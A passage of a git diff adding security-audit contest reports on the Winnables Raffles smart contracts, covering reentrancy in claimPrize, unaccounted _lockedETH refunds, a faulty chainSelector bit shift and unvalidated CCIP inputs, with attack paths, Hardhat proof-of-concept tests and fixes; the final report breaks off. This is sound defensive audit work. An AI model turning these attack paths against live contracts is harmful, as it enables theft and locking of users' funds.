+https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L275C3-L276C48 + +## Tool used +Manual Review + +## Recommendation +Verify prizeManager & chainSelector before passing to _sendCCIPMessage() +```diff + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); ++ bytes32 counterpart = _packCCIPContract(prizeManager, chainSelector); ++ if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + _sendCCIPMessage( + prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` \ No newline at end of file diff --git a/001/098.md b/001/098.md new file mode 100644 index 0000000..ffef1f0 --- /dev/null +++ b/001/098.md @@ -0,0 +1,48 @@ +Amusing Boysenberry Kitten + +High + +# Admin role can manipulate the winner role via adding another CCIP counter part + +## Summary +In WinnablesPrizeManager, the contract will set each raffle's winner via message from valid counterpart. In normal case, there is only one valid counterpart, Avalanche::WinnablesTicketManager. If the admin role adds another valid counterpart, and sent the manipualted message from the added counterpart, the winner result may be manipulated by the admin. + +## Vulnerability Detail +In WinnablesPrizeManager, we will receive message via CCIP. If the message comes from the valid counterpart, we will parse the message and set the winner for this raffle. +The problem is that the admin role can set one new valid counterpart. The admin role can send one manipulated message from the newly added counterpart before the actual real counterpart send the real message to WinnablesPrizeManager and set the winner to anyone he wants. +In readme, the sponsor mentions that `Admins cannot affect the odds of a raffle.` Now the admin role can determine the final winner directly. +```solidity + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + // Check the msg's source chain and source contract. + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + ... + (raffleId, winner) = _decodeWinnerDrawnMessage(message.data); + _rafflePrize[raffleId].winner = winner; + emit WinnerPropagated(raffleId, winner); + } +``` +```solidity + function setCCIPCounterpart( + address contractAddress, + uint64 chainSelector, + bool enabled + ) external onlyRole(0) { + _setCCIPCounterpart(contractAddress, chainSelector, enabled); + } +``` +## Impact +The admin role can manipulate the raffle winner via adding another valid counterpart. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278 + +## Tool used + +Manual Review + +## Recommendation +Limit changing the counterpart after we `setCCIPCounterpart` once in the initialization process. \ No newline at end of file diff --git a/001/099.md b/001/099.md new file mode 100644 index 0000000..0cf6703 --- /dev/null +++ b/001/099.md @@ -0,0 +1,38 @@ +Amusing Boysenberry Kitten + +Medium + +# Winner may not claim his rewards if the winner in avalanche is one abstract account + +## Summary +In one raffle game, the winner in Avalanche is allowed to claim rewards in Ethereum. Considering that the participant winner is one abstract account, the winner in Avalanche may not control the same address in Ethereum. The winner may not claim the rewards. + +## Vulnerability Detail +In function propagateRaffleWinner(), we will calculate the final winner in one raffle, and send the winner address in Avalanche to the Ethereum. And the winner can claim the related rewards in Ethereum. +The problem is that winner in Avalanche may not control the same address in Ethereum, for example, abstract account. This will cause that the winner cannot claim rewards. +```solidity + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` + +## Impact +Winner may not claim rewards in Ethereum if the winner in Avalanche is one abstract account. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345 +## Tool used + +Manual Review + +## Recommendation +Only the winner can trigger propagateRaffleWinner() and add another parameter `claimer`. The winner in avalanche can assign one address `claimer` in Ethereum to claim this reward. \ No newline at end of file diff --git a/001/100.md b/001/100.md new file mode 100644 index 0000000..a72d112 --- /dev/null +++ b/001/100.md @@ -0,0 +1,54 @@ +Breezy White Swallow + +Medium + +# Winnables admins can prevent a winner from withdrawing their prize + +### Summary + +Missing time lock in `WinnablesPrizeManager#setCCIPCounterpart` to delay the admins from setting CCIP Counterpart will allow Winnables admins to prevent a winner from withdrawing their prize as the admins will disable CCIP Counterpart in before receiving CCIP message. + +### Root Cause + +Missing time lock in `WinnablesPrizeManager#setCCIPCounterpart` to delay the admins from setting CCIP Counterpart + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesPrizeManager.sol#L134-L140 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +From the contest's `README.md`, the protocol listed the invariants + +> ### Please discuss any design choices you made. +> The principles that must always remain true are: +> - Winnables admins cannot do anything to prevent a winner from withdrawing their prize +> - Participants in a raffle that got cancelled can always get refunded +> - Admins cannot affect the odds of a raffle + +The first invariant can be broken by the following steps: +1. Chainlink VRF Coordinator return the VRF random number to `WinnablesTicketManager` +2. `WinnablesTicketManager#propagateRaffleWinner` is called to send a CCIP message to `WinnablesPrizeManager` to set the winner +3. Before the CCIP message is sent to `WinnablesPrizeManager`, the admin will disable receiving message from `WinnablesTicketManager` by calling `WinnablesPrizeManager#setCCIPCounterpart` with `contractAddress` is the `WinnablesTicketManager`'s address and `enabled = false`. + +As a result `WinnablesPrizeManager` can not receive the CCIP message that sets the winner, because `WinnablesPrizeManager#_ccipReceive` will revert at `L265` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesPrizeManager.sol#L265 + +### Impact + +Winnables admins can prevent a winner from withdrawing their prize. + +### PoC + +_No response_ + +### Mitigation + +Add a time lock in `WinnablesPrizeManager#setCCIPCounterpart`. \ No newline at end of file diff --git a/001/102.md b/001/102.md new file mode 100644 index 0000000..fedfbbe --- /dev/null +++ b/001/102.md @@ -0,0 +1,31 @@ +Magic Green Raccoon + +Medium + +# Potential underflow for will DoS the WinnablePrizeManager contract. + +## Summary + +The `_ethLocked` variable in the `WinnablePrizeManager` contract could potentially underflow due to the re-entrancy issue in the `claimPrize` function, resulting in some functions unavailable. + +## Vulnerability Detail + +The `claimPrize` function in the `WinnablePrizeManager` contract subtracts from the `_ethLocked` variable within an unchecked block before calling the `_senETHPrize` function to distribute the `ETH` raffle rewards using the low level call. However, a malicious contract could re-enter the `claimPrize` function via its fallback function before the raffle's status is marked as `CLAIMED`, resulting the `_ethLocked` becomes very large due to the underflow. + +## Impact + +Due to the underflow issue, the contract's state may become incorrect, leading to unexpected results. For instance, the `lockETH` function could be subjected to a Denial-of-Service (DoS) attack due the `InvalidPrize` error. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L117 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L181 + +## Tool used + +Manual Review + +## Recommendation + +Add reentrancy guard for the claimPrize fucntion or apply the Checks-Effects-Interactions principle. \ No newline at end of file diff --git a/001/105.md b/001/105.md new file mode 100644 index 0000000..4fde8fe --- /dev/null +++ b/001/105.md @@ -0,0 +1,81 @@ +Polite Lead Mole + +High + +# Unchecked arithmetic in mint function can lead to incorrect balance and supply values for users. + +### Summary + +The unchecked arithmetic in the mint function of WinnablesTicket.sol will cause incorrect balance and supply values for users as an attacker or user can mint an extremely large number of tickets, causing an overflow in the contract's state variables. + +### Root Cause + +There is unchecked arithmetic when updating the _balances and _supplies mappings, which can result in overflow, leading to incorrect state management. + +- [Line 190](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L190) : `_balances[id][to] += amount;` +- [Line 191](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L191) : `_supplies[id] += amount;` + +### Internal pre-conditions + +1. The user must have the role required to call the mint function (role ID 1). +2. The amount passed to the mint function needs to be set to an extremely large value (2^256 - 1). + +### External pre-conditions + +1. The gas price needs to be high enough to allow the large transaction to be processed within a single block. +2. No other users are interacting with the contract in the same transaction window to avoid interference. + +### Attack Path + +1. The attacker calls setRole to ensure their address has the required role to mint tickets (role ID 1). +2. The attacker calls mint with an amount equal to 2^256 - 1, targeting a specific raffle ID. +3. The unchecked arithmetic in mint causes an overflow, leading to an incorrect _balances and _supplies state for that raffle ID. + +### Impact + +The protocol suffers from corrupted internal state management, with incorrect balances and supplies for users. The attacker may cause a situation where balances appear erroneously large or supply limits are exceeded, disrupting the integrity of the ticketing system. This could lead to potential financial loss or loss of trust in the protocol. + +### Proof of Concept (PoC) + +```javascript +describe('Overflow Test', () => { + it('Should cause incorrect balances and supply due to overflow in mint function', async () => { + await (await ticket.setRole(signers[0].address, 1, true)).wait(); + + // This is the maximum possible value for uint256 + const largeAmount = BigNumber.from('0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'); + + // Mint a large amount of tickets to potentially cause an overflow + await ticket.mint(signers[1].address, 1, largeAmount); + + // Check the resulting balance and supply + const balance = await ticket.balanceOf(signers[1].address, 1); + const supply = await ticket.supplyOf(1); + + // Since an overflow should cause incorrect state, let's check if the balance or supply is not as expected + expect(balance).to.not.equal(largeAmount); + expect(supply).to.not.equal(largeAmount); + }); + }); +``` + + +### Mitigation + +To mitigate this issue, remove the unchecked block in the mint function and allow Solidity's built-in overflow checks to handle arithmetic operations. This will automatically revert the transaction if an overflow occurs, preventing the incorrect state from being set. + +```solidity +function mint(address to, uint256 id, uint256 amount) external onlyRole(1) { + require(to != address(0), "Cannot mint to the zero address"); + + // Use checked arithmetic to prevent overflow + _balances[id][to] += amount; + _supplies[id] += amount; + + _ticketOwnership[id][_supplies[id]] = to; + emit NewTicket(id, _supplies[id], amount); + emit TransferSingle(msg.sender, address(0), to, id, amount); + + _doSafeTransferAcceptanceCheck(msg.sender, address(0), to, id, amount); +} +``` \ No newline at end of file diff --git a/001/106.md b/001/106.md new file mode 100644 index 0000000..90f0863 --- /dev/null +++ b/001/106.md @@ -0,0 +1,94 @@ +Prehistoric Metal Rabbit + +High + +# `WinnablesTicketManager.refundPlayers()` never updates `_lockedETH`, causing subsequent protocol revenues to be permanently locked + +### Summary + +When a raffle is cancelled and players are refunded, `WinnablesTicketManager.refundPlayers()` does not subtract `_lockedETH`, causing wrong accounting. Said wrong accounting will cause future raffles' ticket sales revenue to be permanently stuck in the contract, locking protocol revenue. + +### Root Cause + +When a user buys a ticket for a raffle, they have to pay for the ticket in AVAX. Said AVAX is then accounted for in `_lockedETH`, so as to prevent even the admin from maliciously withdrawing it: + +```solidity +function buyTickets( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature +) external payable { + // ... + _lockedETH += msg.value; + // ... +} +``` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L206 + +If a raffle is successfully drawn and the results are propagated to the ETH mainnet, the locked AVAX is released: + +```solidity +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + // ... + unchecked { + _lockedETH -= raffle.totalRaised; + } +} +``` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L342-L344 + +And then the protocol can withdraw that AVAX using `withdrawETH()` as protocol revenue. + +If a raffle is cancelled, players who bought tickets can have their funds fully refunded using `refundPlayers()`. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215 + +However, note that `_lockedETH` is never subtracted when players are refunded. This will cause the contract to transfer the AVAX out without decreasing the locked amount, causing the `_lockedETH` amount to be higher than the actual contract balance. + +As a result, in subsequent raffle draws, a certain amount of AVAX (exactly equal to the amount refundable) will be locked within the contract, not withdrawable by the admin. + +See attack path section for a step-by-step demonstration. + + +### Internal pre-conditions + +A raffle has to be cancelled at some point (in which case the players will be refunded). The potential amount stuck is exactly the total sales during the cancelled raffle. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Admin starts a raffle, tickets are sellable. +2. The total tickets sales amount to 50 AVAX. + - At this point, `_lockedETH = 50e18` i.e. 50 AVAX +3. The number of tickets sold does not reach the minimum threshold, so the raffle is cancelled. +4. Players are refunded, 50 AVAX are returned to their rightful owners. + - Note that `_lockedETH` is still 50 AVAX, but the contract no longer holds any balance. +5. A new raffle is created. This time the tickets are sufficiently sold, and the total amount sold amounts to 100 AVAX. + - At this point, `_lockedETH = 150e18` i.e. added the 100 AVAX + - Contract balance = 100 AVAX +6. The new raffle results are propagated. The 100 AVAX is unlocked, now withdrawable by admin as revenue. + - At this point, `_lockedETH = 50e18` + - Contract balance = 100 AVAX +7. Admin calls `withdrawETH()` to withdraw the revenue. Because 50 AVAX are locked, the admin is only able to withdraw 50 AVAX. + +The final result is admin is only able to withdraw 50 AVAX, even if the total revenue from the successful raffle was 100 AVAX. Furthermore, the 50 AVAX is permanently locked in the contract without any methods to retrieve. + + + +### Impact + +Any cancelled raffles will inflate `_lockedETH` by the amount sold (and subsequently refunded). This inflation will cause revenue AVAX from future successful raffles to be permanently locked. + +### PoC + +_No response_ + +### Mitigation + +`_lockedETH` has to be subtracted when the player is refunded on a cancelled raffle \ No newline at end of file diff --git a/001/107.md b/001/107.md new file mode 100644 index 0000000..7903b10 --- /dev/null +++ b/001/107.md @@ -0,0 +1,70 @@ +Faithful Lemonade Penguin + +High + +# Classic Reentrancy in `claimPrize` + +## Summary +The `claimPrize` function in the contract allows a raffle winner to claim their prize. However, in the case where the prize is ETH, the function transfers ETH to the winner before updating the internal state. This violates the Checks-Effects-Interactions (CEI) pattern, exposing the contract to a reentrancy attack. A malicious user could exploit this vulnerability to repeatedly call the function and drain the contract's ETH balance. + +## Vulnerability Detail +The `claimPrize` function handles the distribution of prizes to raffle winners. In the case of ETH prizes, contract sends the ETH to the winner before reducing the winners amount (`_ethRaffles[raffleId]`): +```solidity + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); +``` + +Or changing the raffle's status to `CLAIMED` which currently done in the last line (after sending the ETH to the user). +Here's the relevant code snippet: +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + . + . + . + else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } + . + . + . + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); +``` +This allows the msg.sender to reenter to the contract and steal all the deposited ETH. + +## Impact +A malicious user could perform a reentrancy attack and drain the contract of its ETH balance, leading to significant financial loss for the protocol. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 + +## Tool used +Manual Review + +## Recommendation +To prevent this vulnerability, the contract should follow the CEI pattern. The internal state (such as the raffle's status) should be updated before sending ETH to the winner. Here’s a suggested fix: + +```diff +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + . + . + . + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } + emit PrizeClaimed(raffleId, msg.sender); +} +``` +By updating the winner's status before sending ETH, the risk of reentrancy attacks is mitigated. \ No newline at end of file diff --git a/001/109.md b/001/109.md new file mode 100644 index 0000000..fe2f23a --- /dev/null +++ b/001/109.md @@ -0,0 +1,69 @@ +Faithful Lemonade Penguin + +High + +# Permanent ETH Lock Due to Incorrect Handling of `_lockedETH` in Refund Function + +## Summary +The contract's `_lockedETH` variable is not decremented when ETH refunds are issued, leading to potential denial of service or incorrect withdrawal amounts for the owner + +## Vulnerability Detail + +The contract uses a `_lockedETH` variable to track ETH locked in the contract that might be needed for future refunds. Each time a user buys a ticket, `_lockedETH` increases, and it decreases during the `propagateRaffleWinner` function. When the owner withdraws ETH from the contract, the contract checks to ensure that the owner is not withdrawing the locked ETH by comparing the contract balance against `_lockedETH`. + +However, when a refund is issued, the `_lockedETH` variable is not reduced, leading to an incorrect calculation of available ETH for withdrawal. This discrepancy can result in a denial of service for the owner, preventing them from withdrawing ETH from the contract. + +### Scenario 1: +1. Contract balance: 10 ETH +2. `_lockedETH`: 10 ETH +3. A refund of 1 ETH is issued +4. Contract balance: 9 ETH, `_lockedETH`: 10 ETH +5. The owner cannot withdraw ETH, resulting in a denial of service. + +### Scenario 2: +1. Contract balance: 20 ETH +2. `_lockedETH`: 10 ETH +3. A refund of 1 ETH is issued +4. Contract balance: 19 ETH, `_lockedETH`: 10 ETH +5. The owner can only withdraw 9 ETH instead of the expected 10 ETH, leading to a financial discrepancy. + +## Proof of Concept (PoC) + +```javascript +it('Should not be able to withdraw ETH after refund tickets', async () => { + const contractBalanceBefore = await ethers.provider.getBalance(manager.address); + const userBalanceBefore = await ethers.provider.getBalance(buyer2.address); + const tx = await manager.refundPlayers(1, [buyer2.address]); + const { events } = await tx.wait(); + expect(events).to.have.lengthOf(1); + const [event] = events; + expect(event.event).to.equal('PlayerRefund'); + const contractBalanceAfter = await ethers.provider.getBalance(manager.address); + const userBalanceAfter = await ethers.provider.getBalance(buyer2.address); + expect(contractBalanceAfter).to.eq(contractBalanceBefore.sub(100)); + expect(userBalanceAfter).to.eq(userBalanceBefore.add(100)); + await expect(manager.withdrawETH()).to.be.revertedWithCustomError( + manager, + 'ETHTransferFail' + ); +}); +``` + +In the PoC above, after issuing a refund, the owner is unable to withdraw ETH from the contract due to incorrect handling of `_lockedETH`. + +## Impact + +This vulnerability results in a permanent lock of funds related to refunded ETH, preventing the owner from withdrawing the correct amount of ETH and potentially causing financial loss. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L300 + +## Tool Used + +Manual Review + +## Recommendation + +To mitigate this issue, update the `refundPlayers` function to properly reduce the `_lockedETH` variable when ETH is refunded. diff --git a/001/110.md b/001/110.md new file mode 100644 index 0000000..c96c394 --- /dev/null +++ b/001/110.md @@ -0,0 +1,73 @@ +Blunt Mulberry Wombat + +High + +# Improper handling of bitwise shift operation in `_packCCIPContract` function + +## Summary +The `_packCCIPContract` function does not encode `chainSelector` due to an improper bitwise shift on a `uint64` type, resulting in a packed value that omits the chain identifier + +## Vulnerability Details +When performing cross-chain messaging, `_packCCIPContract` is used to verify the sender and the source chain by combining a smart contract address with a `chainSelector` into a single `bytes32` value. This function is intended to pack the contract address into the least significant 160 bits and the chainSelector into bits `160-224` of the bytes32 output: +```solidity +function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | + uint256(chainSelector << 160) + ); +} +``` +The function first converts the `contractAddress` to a `uint160` and then to a `uint256`. It then attempts to shift the `chainSelector`, a `uint64`, by `160 bits` to the left intending to position it in the higher bits, while the contract address occupies the lower 160 bits. The two values are then combined using a bitwise `OR` operation. + +The issue is that **the left-shift operation is performed directly on the uint64-typed `chainSelector`**: +```solidity +uint256(chainSelector << 160) +``` +Performing a left shift on a `uint64` by `160 bits` is incorrect because the `uint64` type only occupies `64 bits`. When a left shift of 160 bits is applied, it effectively shifts the bits out of the `64-bit` boundary, leading to data loss. + +Consequently, the return value of `_packCCIPContract` will have the least-significant 160 bits correctly occupied by the contract address, but the higher bits, where the `chainSelector` should reside, will incorrectly contain zeros. This means the `chainSelector` is not encoded + +## Proof Of Concept +This issue can be easily reproduced using `chisel`. Consider the following screenshot from a `chisel` execution +![poc](https://i.imgur.com/XRHunu7.png) +In this example, despite the `chainSelector` being set to `1`, the bits 160-224 are entirely occupied by zeros, indicating that the `chainSelector` was not encoded properly. + +## Impact +The final packed value does not correctly represent the intended combination of `contractAddress` and `chainSelector` as the `chainSelector` is not encoded properly (set to **0**). As a result: +1. If the contract address is disabled for one chain via calling [WinnablesTicketManager::setCCIPCounterpart](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L238-L244) or [WinnablesPrizeManager::setCCIPCounterpart](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L134-L140), that contract will be disabled for all chains since `_packCCIPContract` does not encode the chain id at all: + ```solidity + function setCCIPCounterpart( + address contractAddress, + uint64 chainSelector, + bool enabled + ) external onlyRole(0) { + _setCCIPCounterpart(contractAddress, chainSelector, enabled); + } + + function _setCCIPCounterpart( + address contractAddress, + uint64 chainSelector, + bool enabled + ) internal { + bytes32 counterpart = _packCCIPContract(contractAddress, chainSelector); + _ccipContracts[counterpart] = enabled; + } + ``` +2. cross-chain messages from any chain will be accepted + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/BaseCCIPContract.sol#L43 +## Tool used +Manual Review + +## Recommendations +Consider casting `chainSelector` to `uint256` before performing the shift operation: +```diff +function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | +- uint256(chainSelector << 160) ++ (uint256(chainSelector) << 160) + ); +} +``` \ No newline at end of file diff --git a/001/111.md b/001/111.md new file mode 100644 index 0000000..04d7c70 --- /dev/null +++ b/001/111.md @@ -0,0 +1,54 @@ +Faithful Lemonade Penguin + +High + +# Attacker can permanently lock owners tokens with malicious input in `cancleRaffle` + +## Summary +Since the inputs in `cancelRaffle` aren't validated, an attacker can use malicious inputs to permanently lock owners NFTs, ETH, or tokens. + +## Vulnerability Detail +When the admin locks an NFT, ETH, or token in `WinnablesPrizeManager.sol`, [a message is sent to `WinnablesTicketManager.sol`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L186), which [sets the status of the raffle](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L381) to `PRIZE_LOCKED`: +```solidity + _raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED; +``` +If the admin decides to cancel the raffle, they can call `cancelRaffle` as long as the `RaffleStatus` is `PRIZE_LOCKED` or the raffle has ended: +```solidity + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + } +``` + +Since the `prizeManager` and `chainSelector` [are user inputs](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278) when calling `cancelRaffle` and aren't validated, and because anyone can call this function, a malicious user could potentially use malicious inputs for `prizeManager` and `chainSelector`. This could result in sending the CCIP message to the wrong `prizeManager` and changing the status of the raffle to `CANCELED`. +```solidity +@> function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + +@> _raffles[raffleId].status = RaffleStatus.CANCELED; +@> _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } + +``` + +Given that the CCIP message was sent to the wrong `prizeManager`, the admin will not be able to withdraw the NFT, ETH, or token locked in `WinnablesPrizeManager.sol`. Additionally, since the status of the raffle has been changed to `CANCELED`, it cannot be canceled again. + +## Impact +Severe loss of funds, tokens, or NFTs. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L186 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L381 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278 + +## Tool used + +Manual Review + +## Recommendation +Do not use user inputs for structuring the CCIP message. Instead, use state variables that cannot be changed by unauthorized users diff --git a/001/113.md b/001/113.md new file mode 100644 index 0000000..773f2a3 --- /dev/null +++ b/001/113.md @@ -0,0 +1,81 @@ +Faithful Lemonade Penguin + +High + +# Attacker can permanently lock winners tokens with malicious input in `propagateRaffleWinner` + +## Summary +Since the inputs in `propagateRaffleWinner` aren't validated, an attacker can use malicious inputs to permanently lock winners NFTs, ETH, or tokens. + +## Vulnerability Detail +When the `drawWinner` is called for a `raffleId`, the protocol will [request a random number from VRF and then changes the status of the raffle to `REQUESTED`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L315): +```solidity + function drawWinner(uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + _checkShouldDraw(raffleId); + raffle.status = RaffleStatus.REQUESTED; + +@> uint256 requestId = VRFCoordinatorV2Interface(VRF_COORDINATOR).requestRandomWords( + KEY_HASH, + SUBSCRIPTION_ID, + 3, + 100_000, + 1 + ); + _chainlinkRequests[requestId] = RequestStatus({ + raffleId: raffleId, + randomWord: 0 + }); + raffle.chainlinkRequestId = requestId; + emit RequestSent(requestId, raffleId); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +When the VRF calls `fulfillRandomWords` to deliver the requested random number, the status of the raffle [will be changed to `FULFILLED`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L358). +```solidity + function fulfillRandomWords( + uint256 requestId, + uint256[] memory randomWords + ) internal override { + RequestStatus storage request = _chainlinkRequests[requestId]; + Raffle storage raffle = _raffles[request.raffleId]; + if (raffle.status != RaffleStatus.REQUESTED) revert RequestNotFound(requestId); + request.randomWord = randomWords[0]; +@> raffle.status = RaffleStatus.FULFILLED; + emit WinnerDrawn(requestId); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(request.raffleId); + } +``` +At this point, anyone who calls `propagateRaffleWinner` with the `raffleId` as input [will trigger the sending of a CCIP message to the prize manager](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L340), allowing the winner to claim their rewards: +```solidity +@> function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + +@> _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` + +However, since the inputs of `propagateRaffleWinner` are not validated, anyone can call this function and provide malicious input for `prizeManager` and `chainSelector`, which will result in the winner's rewards being permanently locked. + +## Impact +Severe loss of funds, tokens, or NFTs for the winners + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L315 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L358 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L340 + +## Tool used + +Manual Review + +## Recommendation +Do not use user inputs for structuring the CCIP message. Instead, use state variables that cannot be changed by unauthorized users diff --git a/001/114.md b/001/114.md new file mode 100644 index 0000000..a6432c6 --- /dev/null +++ b/001/114.md @@ -0,0 +1,172 @@ +Faithful Lemonade Penguin + +Medium + +# Incorrect Raffle Ticket Threshold Logic Allows Simultaneous Cancellation and Drawing + +## Summary + +The `WinnablesTicketManager` contract contains a vulnerability where the raffle logic incorrectly handles cases where the number of tickets sold is equal to the `minTicketsThreshold`. This leads to a situation where a raffle can be both cancellable and drawable at the same time, which is not the intended behavior. Specifically, if the number of tickets sold equals the `minTicketsThreshold`, the raffle should be drawable and not cancellable. + +## Vulnerability Detail + +The contract defines `raffle.minTicketsThreshold` as the minimum number of tickets that must be sold 